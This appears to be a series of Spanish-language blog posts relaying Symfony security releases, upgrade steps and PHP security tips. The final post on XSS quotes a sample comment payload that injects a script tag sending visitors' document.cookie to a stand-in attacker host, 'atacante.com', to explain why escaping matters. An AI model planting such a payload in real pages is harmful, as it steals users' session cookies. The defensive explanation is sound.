La vulnerabilidad descubierta está relacionada con la forma en la que se guardan las plantillas en la cache. Los parámetros GET de la URL de la plantilla se utilizan para determinar el directorio en el que se guarda la plantilla.

El problema es que estos parámetros GET de la plantilla no se limpiaban antes de generar la ruta donde se guardará la plantilla. La consecuencia es que un atacante podría utilizar parámetros GET especialmente preparados para almacenar las plantillas en algún directorio por encima del directorio de la cache de la aplicación.

Como siempre, para actualizar tu versión de Symfony:

• Si usas el sandbox, te lo tienes que bajar otra vez.
• Si lo has instalado mediante el archivo comprimido de Symfony, te lo tienes que bajar otra vez desde www.symfony-project.org/installation/1_3 o www.symfony-project.org/installation/1_4 y debes descomprimirlo en el mismo directorio dentro de tu proyecto.
• Si lo has instalado mediante PEAR, ejecuta el comando pear upgrade symfony/symfony-1.3.6 o pear upgrade symfony/symfony-1.4.6
• Si lo instalas mediante Subversion, ejecuta el comando svn checkout http://svn.symfony-project.com/tags/RELEASE_1_3_6/ o svn checkout http://svn.symfony-project.com/tags/RELEASE_1_4_6/

Independientemente de cómo lo actualices, no olvides borrar la caché de cada proyecto después de la actualización mediante los siguientes comandos:

Si utilizas Doctrine:

$ php symfony doctrine:build --all-classes
$ php symfony cache:clear

Si utilizas Propel:

$ php symfony propel:build --all-classes
$ php symfony cache:clear

Fuente: Security Release: symfony 1.3.6 and 1.4.6

• Los formularios basados en Doctrine y Propel contenían un fallo de seguridad que permitía a un usuario actualizar el valor de un registro de la base de datos diferente al que muestra el formulario. El fallo se encontraba en los validadores generados por Symfony para las claves primarias.
• Se ha actualizado Propel a su versión 1.4.2 y la librería de pruebas lime a su versión 1.0.9.
• Ahora se puede utilizar la tarea doctrine:clean para borrar los formularios generados para los modelos en los que se ha deshabilitado la generación de formularios.
• La clases de los widgets de fecha y hora utilizan correctamente la opción id_format.

Como siempre, para actualizar tu versión de Symfony:

• Si usas el sandbox, te lo tienes que bajar otra vez.
• Si lo has instalado mediante el archivo comprimido de Symfony, te lo tienes que bajar otra vez desde www.symfony-project.org/installation/1_3 o www.symfony-project.org/installation/1_4 y debes descomprimirlo en el mismo directorio dentro de tu proyecto.
• Si lo has instalado mediante PEAR, ejecuta el comando pear upgrade symfony/symfony-1.3.5 opear upgrade symfony/symfony-1.4.5
• Si lo instalas mediante Subversion, ejecuta el comando svn checkout http://svn.symfony-project.com/tags/RELEASE_1_3_5/ o svn checkout http://svn.symfony-project.com/tags/RELEASE_1_4_5/

Independientemente de cómo lo actualices, no olvides borrar la caché de cada proyecto después de la actualización mediante los siguientes comandos:

Si utilizas Doctrine:

$ php symfony doctrine:build --all-classes
$ php symfony cache:clear

Si utilizas Propel:

$ php symfony propel:build --all-classes
$ php symfony cache:clear

Fuente: symfony 1.3.5 and 1.4.5

Se recomienda la actualización inmediata de todas las versiones de Symfony ya que un atacante podría inyectar código SQL arbitrario en la consulta aprovechando un error en el filtrado del parámetro de ordenación de registros enviado como parámetro de tipo GET.

Como siempre, para actualizar tu versión de Symfony:

• Si usas el sandbox, te lo tienes que bajar otra vez.
• Si lo has instalado mediante el archivo comprimido de Symfony, te lo tienes que bajar otra vez desde www.symfony-project.org/installation/1_2, www.symfony-project.org/installation/1_3 o www.symfony-project.org/installation/1_4 y debes descomprimirlo en el mismo directorio dentro de tu proyecto.
• Si lo has instalado mediante PEAR, ejecuta el comando pear upgrade symfony/symfony-1.2.12, pear upgrade symfony/symfony-1.3.3 o pear upgrade symfony/symfony-1.4.3
• Si lo instalas mediante Subversion, ejecuta el comando svn checkout http://svn.symfony-project.com/tags/RELEASE_1_2_12/, svn checkout http://svn.symfony-project.com/tags/RELEASE_1_3_3/ o svn checkout http://svn.symfony-project.com/tags/RELEASE_1_4_3/

Independientemente de cómo lo actualices, no olvides borrar la caché de cada proyecto después de la actualización mediante los siguientes comandos:

$ php symfony doctrine:build --all-classes
$ php symfony cache:clear

Fuente: Security Release: 1.2.12, 1.3.3 and 1.4.3

Tus aplicaciones están afectadas si utilizas el generador de la parte de administración de Symfony 1.2 y eliminas campos de los formularios mediante la opción display del archivo de configuración generator.yml y no los quitas del formulario asociado mediante el método unset().

La nueva versión 1.2.6 elimina automáticamente todos los campos del formulario que se ocultan mediante la opción display del archivo generator.yml. No se eliminan los campos ocultos de tipo hidden. El blog oficial explica con más detalle el problema y la solución empleada.

Como siempre, para actualizar tu versión de Symfony:

• Si usas el sandbox, te lo tienes que bajar otra vez.
• Si lo has instalado mediante el archivo comprimido de Symfony, te lo tienes que bajar otra vez desde www.symfony-project.org/installation/1_2 y debes descomprimirlo en el mismo directorio dentro de tu proyecto.
• Si lo has instalado mediante PEAR, ejecuta el comando pear upgrade symfony/symfony-1.2.6
• Si lo instalas mediante Subversion, ejecuta el comando svn checkout http://svn.symfony-project.com/tags/RELEASE_1_2_6/ .
• También puedes aplicar al código de Symfony el siguiente parche para actualizar desde la versión 1.2.5

Independientemente de cómo lo actualices, no olvides borrar la caché de cada proyecto después de la actualización mediante el comando ./symfony cc

Fuente: symfony 1.2.6: Security fix

La semana pasada, Fabien Potencier, creador de Symfony, publicó un artículo en el blog oficial comentando una grave vulnerabilidad descubierta en RubyOnRails. Aunque la intención de Fabien no es iniciar una guerra con RubyOnRails sobre cuál de los dos frameworks es mejor, Symfony presenta una gran ventaja en este aspecto.

Los formularios de Symfony, desde su versión 1.1, son objetos de primer nivel, por lo que no tienen efecto los ataques que intentan inyectar campos que no pertenecen al formulario original. Tal y como se explica en el capítulo 2 del libro de formularios de Symfony, las opciones allow_extra_fields y filter_extra_fields permiten controlar si todos los campos del formulario deben tener asignado un validador y si se deben filtrar todos los campos adicionales.

En los comentarios del artículo de Fabien, un usuario llamado Toc alertaba sobre una posible vulnerabilidad de tipo XSS en el mecanismo de formularios. En menos de 7 horas el error había sido investigado, confirmado y solucionado. El resultado es la versión 1.1.4 de Symfony que incluye la corrección r11932.

En otro comentario del mismo artículo, el symfonero Pablo (conocido por su nick pablodip) asegura que actualmente Symfony no se encuentra protegido contra algunos ataques de tipo CSRF. De hecho, Pablo ha creado un plugin llamado pdCSRFPlugin para solucionar estos problemas.

Los creadores de Symfony reconocen que algo así es intolerable y que el sistema de alertas de problemas de seguridad que tenían hasta este momento no era propio de un framework de esta calidad. Afortunadamente, los responsables de Symfony han reaccionado y van a mejorar la situación desde este mismo momento.

A partir de ahora, cualquier usuario o programador que encuentre un problema de seguridad en Symfony, puede notificarlo en la dirección de correo electrónico security @ symfony-project.com, aportando toda la información posible sobre el error encontrado y cualquier archivo o parche que pueda ayudar a solucionarlo. Los mensajes recibidos en esa dirección pasan directamente a los programadores de Symfony, que lo investigan  para actuar lo antes posible.

Afortunadamente, Symfony ha aprendido de sus propios errores a tiempo y va a dedicar los esfuerzos y recursos necesarios a la seguridad del framework, algo esencial para que las empresas se decidan a crear sus aplicaciones con este framework.

Fuente: New symfony security policy

Después de los 5 primeros consejos y de su continuación con otros 5 consejos sobre seguridad, ahora se publican los siguientes 5 consejos breves:

1. Concede a los usuarios solo los permisos que necesitan: Symfony dispone de mecanismos para definir la seguridad de cada acción y las credenciales de cada usuario
2. Utiliza con cuidado la función eval(): que se haya filtrado, validado y restringido los datos introducidos por los usuarios, no significa que se puedan utilizar directamente con la función eval()
3. Comprueba continuamente la seguridad de tu aplicación mediante la herramienta PHPSecInfo: se trata de una herramienta gratuita que muestra información sobre la seguridad de la aplicación y posibles mejoras (descargar PHPSecInfo)
4. Minimiza la información almacenada en las cookies, ya que puede ser vista por usuarios maliciosos
5. Borra todos los archivos de prueba utilizados en el desarrollo: es una buena idea eliminar cualquier archivo utilizado para pruebas rápidas o para mostrar determinada información del servidor

Fuente: Zend Security Tips

Ya comentamos los 5 primeros consejos que se habían publicado, y ahora mostramos los 5 siguientes consejos que podemos aplicar a nuestras aplicaciones de Symfony:

1. Filtra las variables numéricas utilizadas en el código SQL y conviertelas en números de forma explícita
2. Borrar la sesión anterior cuando se utiliza session_regenerate_id(): tan fácil como realizar la llamada a la función mediante session_regenerate_id(true) para borrar el archivo asociado a la sesión anterior
3. Además de filtrar los datos introducidos por un usuario, se deben validar: no solo es suficiente con utilizar las funciones de filtrado de PHP, sino que es necesario comprobar que los datos se encuentran dentro de unos valores permitidos.
4. Los datos y archivos con información confidencial no deberían guardarse en un directorio del servidor web: la solución consiste en guardar esos archivos y datos en otros directorios o utilizar siempre archivos acabados en .php para que el servidor web no muestre directamente su contenido
5. No envíes emails directamente a partir de los datos introducidos en un formulario: una vez más, es preciso filtrar y validar los datos introducidos por los usuarios

Fuente: Zend Security Tips

1. Mantener actualizada la versión de PHP utilizada
2. No mostrar los errores en el servidor de producción: tan fácil como establecer la directiva display_errors a un valor Off en el archivo de configuración php.ini
3. Utilizar herramientas externas para auditar el código y descubrir vulnerabilidades que aun no han sido explotadas: para ello se pueden utilizar herramientas como Chorizo y PHPSecInfo
4. Los archivos y directorios con información confidencial deberían tener nombres distintos a los de por defecto: no se trata de conseguir la seguridad total a base de esconder las cosas, pero es un consejo que puede ayudar a conseguir más seguridad
5. Nunca te fíes de los usuarios: siempre se deben filtrar los datos introducidos por los usuarios y también se deben filtrar los datos mostrados por la aplicación y que han sido generados por elementos no confiables

Fuente: Zend Security Tips

Imagina que la aplicación permite a los usuarios introducir comentarios en los artículos mediante un <textarea>, y entra un usuario malicioso que introduce lo siguiente:

<script>; document.write('<script src="http://www.atacante.com/get_cookies?cookies=' document.write(document.cookie) document.write('"></script>');</script>

Si la aplicación no tiene en cuenta que los usuarios pueden introducir este tipo de datos y muestra directamente el contenido de ese comentario, el resultado es que cualquier usuario que acceda a la página enviará el contenido de su cookie al servidor del atacante.

El artículo completo explica (en inglés) más detalladamente estos ataques XSS e incluye posibles soluciones.

Symfony por defecto está expuesto a algunos ataques de tipo XSS, tal y como se explica en su documentación oficial. En concreto, el capítulo 7 del libro de Symfony explica el mecanismo de escape que incluye Symfony para evitar los ataques de tipo XSS y las opciones disponibles.

Fuente: Avoiding XSS security attacks to sites that use HTML editors